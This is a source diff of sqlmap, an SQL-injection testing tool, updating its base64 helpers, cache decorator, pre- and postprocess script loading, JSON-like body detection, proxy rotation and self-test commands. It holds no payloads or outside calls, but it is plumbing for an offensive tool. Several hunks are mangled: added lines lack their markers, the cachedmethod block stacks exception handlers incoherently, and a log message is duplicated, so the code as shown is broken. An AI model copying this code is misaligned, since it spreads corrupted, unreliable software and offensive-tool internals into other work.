-        retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL))
+        retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
    except:
        warnMsg = "problem occurred while serializing "
        warnMsg += "instance of a type '%s'" % type(value)
        singleTimeWarnMessage(warnMsg)
        try:
-            retVal = encodeBase64(pickle.dumps(value))
+            retVal = encodeBase64(pickle.dumps(value), binary=False)
        except:
-            retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL))
+            retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
    return retVal
@@ -198,8 +198,32 @@ def decodeBase64(value, binary=True, encoding=None):
    True
    >>> decodeBase64("MTIz", binary=False)
    '123'
    >>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE")
    True
    >>> decodeBase64(b"MTIzNA") == b"1234"
    True
    >>> decodeBase64("MTIzNA") == b"1234"
    True
    >>> decodeBase64("MTIzNA==") == b"1234"
    True
    """
    if value is None:
        return None
    padding = b'=' if isinstance(value, bytes) else '='
    # Reference: https://stackoverflow.com/a/49459036
    if not value.endswith(padding):
        value += 3 * padding
    # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
    # Reference: https://perldoc.perl.org/MIME/Base64.html
    if isinstance(value, bytes):
        value = value.replace(b'-', b'+').replace(b'_', b'/')
    else:
        value = value.replace('-', '+').replace('_', '/')
    retVal = base64.b64decode(value)
    if not binary:
@@ -207,16 +231,23 @@ def decodeBase64(value, binary=True, encoding=None):
    return retVal
-def encodeBase64(value, binary=True, encoding=None):
+def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
    """
    Returns a decoded representation of provided Base64 value
    >>> encodeBase64(b"123") == b"MTIz"
    True
-    >>> encodeBase64(u"123", binary=False)
+    >>> encodeBase64(u"1234", binary=False)
-    'MTIz'
+    'MTIzNA=='
    >>> encodeBase64(u"1234", binary=False, padding=False)
    'MTIzNA'
    >>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True)
    'A-B_CDE'
    """
    if value is None:
        return None
    if isinstance(value, six.text_type):
        value = value.encode(encoding or UNICODE_ENCODING)
@@ -225,6 +256,19 @@ def encodeBase64(value, binary=True, encoding=None):
    if not binary:
        retVal = getText(retVal, encoding)
    if safe:
        padding = False
        # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
        # Reference: https://perldoc.perl.org/MIME/Base64.html
        if isinstance(retVal, bytes):
            retVal = retVal.replace(b'+', b'-').replace(b'/', b'_')
        else:
            retVal = retVal.replace('+', '-').replace('/', '_')
    if not padding:
        retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=')
    return retVal
 def getBytes(value, encoding=None, errors="strict", unsafe=True):
@@ -256,7 +300,10 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
            if unsafe:
                retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
        else:
-            retVal = value.encode(encoding, errors)
+            try:
                retVal = value.encode(encoding, errors)
            except UnicodeError:
                retVal = value.encode(UNICODE_ENCODING, errors="replace")
            if unsafe:
                retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
--- a/lib/core/decorators.py
+++ b/lib/core/decorators.py
@@ -39,16 +39,19 @@ def cachedmethod(f):
    @functools.wraps(f)
    def _f(*args, **kwargs):
        key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
        try:
-            with _cache_lock:
+            key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
-                result = _cache[f][key]
+        except ValueError:  # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
        except KeyError:
            result = f(*args, **kwargs)
        else:
            try:
                with _cache_lock:
                    result = _cache[f][key]
            except KeyError:
                result = f(*args, **kwargs)
-            with _cache_lock:
+                with _cache_lock:
-                _cache[f][key] = result
+                    _cache[f][key] = result
        return result
--- a/lib/core/defaults.py
+++ b/lib/core/defaults.py
@@ -15,6 +15,7 @@ _defaults = {
    "delay": 0,
    "timeout": 30,
    "retries": 3,
    "csrfRetries": 0,
    "saFreq": 0,
    "threads": 1,
    "level": 1,
--- a/lib/core/dump.py
+++ b/lib/core/dump.py
@@ -241,7 +241,7 @@ class Dump(object):
            lines = "-" * (int(maxlength) + 2)
            for db, tables in dbTables.items():
-                tables.sort()
+                tables = sorted(filter(None, tables))
                self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
--- a/lib/core/enums.py
+++ b/lib/core/enums.py
@@ -177,7 +177,7 @@ class HASH(object):
    SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
    CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
    JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
-    WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
+    PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
    APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
    UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
    APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
@@ -239,6 +239,7 @@ class HTTP_HEADER(object):
    EXPIRES = "Expires"
    HOST = "Host"
    IF_MODIFIED_SINCE = "If-Modified-Since"
    IF_NONE_MATCH = "If-None-Match"
    LAST_MODIFIED = "Last-Modified"
    LOCATION = "Location"
    PRAGMA = "Pragma"
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -93,7 +93,6 @@ from lib.core.exception import SqlmapInstallationException
 from lib.core.exception import SqlmapMissingDependence
 from lib.core.exception import SqlmapMissingMandatoryOptionException
 from lib.core.exception import SqlmapMissingPrivileges
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.exception import SqlmapSystemException
@@ -371,7 +370,7 @@ def _doSearch():
        for link in links:
            link = urldecode(link)
-            if re.search(r"(.*?)\?(.+)", link):
+            if re.search(r"(.*?)\?(.+)", link) or conf.forms:
                kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
            elif re.search(URI_INJECTABLE_REGEX, link, re.I):
                if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
@@ -387,14 +386,18 @@ def _doSearch():
        if kb.targets:
            infoMsg = "found %d results for your " % len(links)
-            infoMsg += "search dork expression, "
+            infoMsg += "search dork expression"
-            if len(links) == len(kb.targets):
+            if not conf.forms:
-                infoMsg += "all "
+                infoMsg += ", "
-            else:
+
-                infoMsg += "%d " % len(kb.targets)
+                if len(links) == len(kb.targets):
                    infoMsg += "all "
                else:
                    infoMsg += "%d " % len(kb.targets)
                infoMsg += "of them are testable targets"
            infoMsg += "of them are testable targets"
            logger.info(infoMsg)
            break
@@ -822,7 +825,7 @@ def _setTamperingFunctions():
 def _setPreprocessFunctions():
    """
-    Loads preprocess functions from given script(s)
+    Loads preprocess function(s) from given script(s)
    """
    if conf.preprocess:
@@ -867,17 +870,95 @@ def _setPreprocessFunctions():
                raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
            for name, function in inspect.getmembers(module, inspect.isfunction):
-                if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
+                try:
                    if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)):
                        found = True
                        kb.preprocessFunctions.append(function)
                        function.__name__ = module.__name__
                        break
                except ValueError:  # Note: https://github.com/sqlmapproject/sqlmap/issues/4357
                    pass
            if not found:
                errMsg = "missing function 'preprocess(req)' "
                errMsg += "in preprocess script '%s'" % script
                raise SqlmapGenericException(errMsg)
            else:
                try:
                    function(_urllib.request.Request("http://localhost"))
                except:
                    handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
                    os.close(handle)
                    openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n    pass\n")
                    openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
                    errMsg = "function 'preprocess(req)' "
                    errMsg += "in preprocess script '%s' " % script
                    errMsg += "appears to be invalid "
                    errMsg += "(Note: find template script at '%s')" % filename
                    raise SqlmapGenericException(errMsg)
 def _setPostprocessFunctions():
    """
    Loads postprocess function(s) from given script(s)
    """
    if conf.postprocess:
        for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess):
            found = False
            function = None
            script = safeFilepathEncode(script.strip())
            try:
                if not script:
                    continue
                if not os.path.exists(script):
                    errMsg = "postprocess script '%s' does not exist" % script
                    raise SqlmapFilePathException(errMsg)
                elif not script.endswith(".py"):
                    errMsg = "postprocess script '%s' should have an extension '.py'" % script
                    raise SqlmapSyntaxException(errMsg)
            except UnicodeDecodeError:
                errMsg = "invalid character provided in option '--postprocess'"
                raise SqlmapSyntaxException(errMsg)
            dirname, filename = os.path.split(script)
            dirname = os.path.abspath(dirname)
            infoMsg = "loading postprocess module '%s'" % filename[:-3]
            logger.info(infoMsg)
            if not os.path.exists(os.path.join(dirname, "__init__.py")):
                errMsg = "make sure that there is an empty file '__init__.py' "
                errMsg += "inside of postprocess scripts directory '%s'" % dirname
                raise SqlmapGenericException(errMsg)
            if dirname not in sys.path:
                sys.path.insert(0, dirname)
            try:
                module = __import__(safeFilepathEncode(filename[:-3]))
            except Exception as ex:
                raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
            for name, function in inspect.getmembers(module, inspect.isfunction):
                if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
                    found = True
-                    kb.preprocessFunctions.append(function)
+                    kb.postprocessFunctions.append(function)
                    function.__name__ = module.__name__
                    break
            if not found:
-                errMsg = "missing function 'preprocess(page, headers=None, code=None)' "
+                errMsg = "missing function 'postprocess(page, headers=None, code=None)' "
-                errMsg += "in preprocess script '%s'" % script
+                errMsg += "in postprocess script '%s'" % script
                raise SqlmapGenericException(errMsg)
            else:
                try:
@@ -886,11 +967,11 @@ def _setPreprocessFunctions():
                    handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
                    os.close(handle)
-                    open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n    return page, headers, code\n")
+                    openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n    return page, headers, code\n")
-                    open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
+                    openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
-                    errMsg = "function 'preprocess(page, headers=None, code=None)' "
+                    errMsg = "function 'postprocess(page, headers=None, code=None)' "
-                    errMsg += "in preprocess script '%s' " % script
+                    errMsg += "in postprocess script '%s' " % script
                    errMsg += "should return a tuple '(page, headers, code)' "
                    errMsg += "(Note: find template script at '%s')" % filename
                    raise SqlmapGenericException(errMsg)
@@ -979,16 +1060,13 @@ def _setHTTPHandlers():
    """
    with kb.locks.handlers:
-        if conf.proxyList is not None:
+        if conf.proxyList:
            if not conf.proxyList:
                errMsg = "list of usable proxies is exhausted"
                raise SqlmapNoneDataException(errMsg)
            conf.proxy = conf.proxyList[0]
-            conf.proxyList = conf.proxyList[1:]
+            conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
-            infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
+            if len(conf.proxyList) > 1:
-            logger.info(infoMsg)
+                infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
                logger.info(infoMsg)
        elif not conf.proxy:
            if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy:
@@ -1450,8 +1528,8 @@ def _createHomeDirectories():
    if conf.get("purge"):
        return
-    for context in "output", "history":
+    for context in ("output", "history"):
-        directory = paths["SQLMAP_%s_PATH" % context.upper()]
+        directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()]   # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363
        try:
            if not os.path.isdir(directory):
                os.makedirs(directory)
@@ -1762,6 +1840,8 @@ def _cleanupOptions():
        if not regex:
            conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
            conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
        else:
            conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude)
    if conf.binaryFields:
        conf.binaryFields = conf.binaryFields.replace(" ", "")
@@ -1856,6 +1936,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.arch = None
    kb.authHeader = None
    kb.bannerFp = AttribDict()
    kb.base64Originals = {}
    kb.binaryField = False
    kb.browserVerification = None
@@ -1867,6 +1948,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.cache.content = {}
    kb.cache.encoding = {}
    kb.cache.alphaBoundaries = None
    kb.cache.hashRegex = None
    kb.cache.intBoundaries = None
    kb.cache.parsedDbms = {}
    kb.cache.regex = {}
@@ -2007,10 +2089,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.skipSeqMatcher = False
    kb.smokeMode = False
    kb.reduceTests = None
-    kb.tlsSNI = {}
+    kb.sslSuccess = False
    kb.stickyDBMS = False
    kb.storeHashesChoice = None
    kb.suppressResumeInfo = False
    kb.tableExistsChoice = None
    kb.tableFrom = None
    kb.technique = None
    kb.tempDir = None
@@ -2020,7 +2103,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.testType = None
    kb.threadContinue = True
    kb.threadException = False
-    kb.tableExistsChoice = None
+    kb.tlsSNI = {}
    kb.uChar = NULL
    kb.udfFail = False
    kb.unionDuplicates = False
@@ -2035,6 +2118,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
        kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
        kb.normalizeCrawlingChoice = None
        kb.passwordMgr = None
        kb.postprocessFunctions = []
        kb.preprocessFunctions = []
        kb.skipVulnHost = None
        kb.storeCrawlingChoice = None
@@ -2061,11 +2145,11 @@ def _useWizardInterface():
        message = "Please enter full target URL (-u): "
        conf.url = readInput(message, default=None)
-    message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
+    message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
    conf.data = readInput(message, default=None)
    if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
-        warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
+        warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
        warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
        if not conf.crawlDepth and not conf.forms:
            warnMsg += "Will search for forms"
@@ -2681,6 +2765,7 @@ def init():
    _listTamperingFunctions()
    _setTamperingFunctions()
    _setPreprocessFunctions()
    _setPostprocessFunctions()
    _setTrafficOutputFP()
    _setupHTTPCollector()
    _setHttpChunked()
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -61,6 +61,7 @@ optDict = {
        "csrfToken": "string",
        "csrfUrl": "string",
        "csrfMethod": "string",
        "csrfRetries": "integer",
        "forceSSL": "boolean",
        "chunked": "boolean",
        "hpp": "boolean",
@@ -201,6 +202,8 @@ optDict = {
        "trafficFile": "string",
        "answers": "string",
        "batch": "boolean",
        "base64Parameter": "string",
        "base64Safe": "boolean",
        "binaryFields": "string",
        "charset": "string",
        "checkInternet": "boolean",
@@ -219,6 +222,7 @@ optDict = {
        "hexConvert": "boolean",
        "outputDir": "string",
        "parseErrors": "boolean",
        "postprocess": "string",
        "preprocess": "string",
        "repair": "boolean",
        "saveConfig": "string",
--- a/lib/core/patch.py
+++ b/lib/core/patch.py
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 import codecs
 import os
 import random
 import lib.controller.checks
@@ -76,6 +77,15 @@ def dirtyPatches():
    # to prevent too much "guessing" in case of binary data retrieval
    thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
    # https://github.com/sqlmapproject/sqlmap/issues/4314
    try:
        os.urandom(1)
    except NotImplemented:
        if six.PY3:
            os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
        else:
            os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
 def resolveCrossReferences():
    """
    Place for cross-reference resolution
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.4.4.0"
+VERSION = "1.4.10.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -66,9 +66,11 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
 URI_QUESTION_MARKER = "__QUESTION_MARK__"
 ASTERISK_MARKER = "__ASTERISK_MARK__"
 REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
 BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__"
 BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
 SAFE_VARIABLE_MARKER = "__SAFE__"
 SAFE_HEX_MARKER = "__SAFE_HEX__"
 DOLLAR_MARKER = "__DOLLAR__"
 RANDOM_INTEGER_MARKER = "[RANDINT]"
 RANDOM_STRING_MARKER = "[RANDSTR]"
@@ -249,7 +251,7 @@ PYVERSION = sys.version.split()[0]
 IS_WIN = PLATFORM == "nt"
 # Check if running in terminal
-IS_TTY = os.isatty(sys.stdout.fileno())
+IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())
 # DBMS system databases
 MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
@@ -605,7 +607,7 @@ BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
 SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
 # Period after last-update to start nagging about the old revision
-LAST_UPDATE_NAGGING_DAYS = 60
+LAST_UPDATE_NAGGING_DAYS = 180
 # Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
 MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
@@ -816,7 +818,7 @@ XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
 JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
 # Regular expression used for detecting JSON-like POST data
-JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
+JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z"
 # Regular expression used for detecting multipart POST data
 MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
@@ -917,7 +919,18 @@ for key, value in os.environ.items():
    if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
        _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
        if _ in globals():
-            globals()[_] = value
+            original = globals()[_]
            if isinstance(original, int):
                try:
                    globals()[_] = int(value)
                except ValueError:
                    pass
            elif isinstance(original, bool):
                globals()[_] = value.lower() in ('1', 'true')
            elif isinstance(original, (list, tuple)):
                globals()[_] = [__.strip() for __ in _.split(',')]
            else:
                globals()[_] = value
 # Installing "reversible" unicode (decoding) error handler
 def _reversible(ex):
--- a/lib/core/target.py
+++ b/lib/core/target.py
@@ -111,7 +111,7 @@ def _setRequestParams():
        def process(match, repl):
            retVal = match.group(0)
-            if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
+            if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'):
                retVal = repl
                while True:
                    _ = re.search(r"\\g<([^>]+)>", retVal)
@@ -120,7 +120,7 @@ def _setRequestParams():
                    else:
                        break
                if kb.customInjectionMark in retVal:
-                    hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
+                    hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name")))
            return retVal
@@ -145,6 +145,7 @@ def _setRequestParams():
            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.JSON
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
@@ -159,8 +160,6 @@ def _setRequestParams():
                                _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
                                conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
                kb.postHint = POST_HINT.JSON
        elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
            message = "JSON-like data found in %s body. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
@@ -169,13 +168,16 @@ def _setRequestParams():
            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.JSON_LIKE
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
-                    conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
+                    if '"' in conf.data:
-                    conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
+                        conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
-
+                        conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
-                kb.postHint = POST_HINT.JSON_LIKE
+                    else:
                        conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
                        conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
        elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
            message = "Array-like data found in %s body. " % conf.method
@@ -185,12 +187,11 @@ def _setRequestParams():
            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.ARRAY_LIKE
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
                kb.postHint = POST_HINT.ARRAY_LIKE
        elif re.search(XML_RECOGNITION_REGEX, conf.data):
            message = "SOAP/XML data found in %s body. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
@@ -199,13 +200,12 @@ def _setRequestParams():
            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
                kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
        elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
            message = "Multipart-like data found in %s body. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
@@ -214,13 +214,12 @@ def _setRequestParams():
            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.MULTIPART
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
                kb.postHint = POST_HINT.MULTIPART
        if not kb.postHint:
            if kb.customInjectionMark in conf.data:  # later processed
                pass
@@ -401,7 +400,7 @@ def _setRequestParams():
        raise SqlmapGenericException(errMsg)
    if conf.csrfToken:
-        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
            errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
            errMsg += "found in provided GET, POST, Cookie or header values"
            raise SqlmapGenericException(errMsg)
--- a/lib/core/testing.py
+++ b/lib/core/testing.py
@@ -39,15 +39,19 @@ def vulnTest():
    TESTS = (
        ("-h", ("to see full list of options run with '-hh'",)),
        ("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
        ("--dependencies", ("sqlmap requires", "third-party library")),
        ("-u <url> --flush-session --wizard", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
        (u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
        ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
        ("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)),
        ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
        ("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
        ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
        ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
        ("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)),
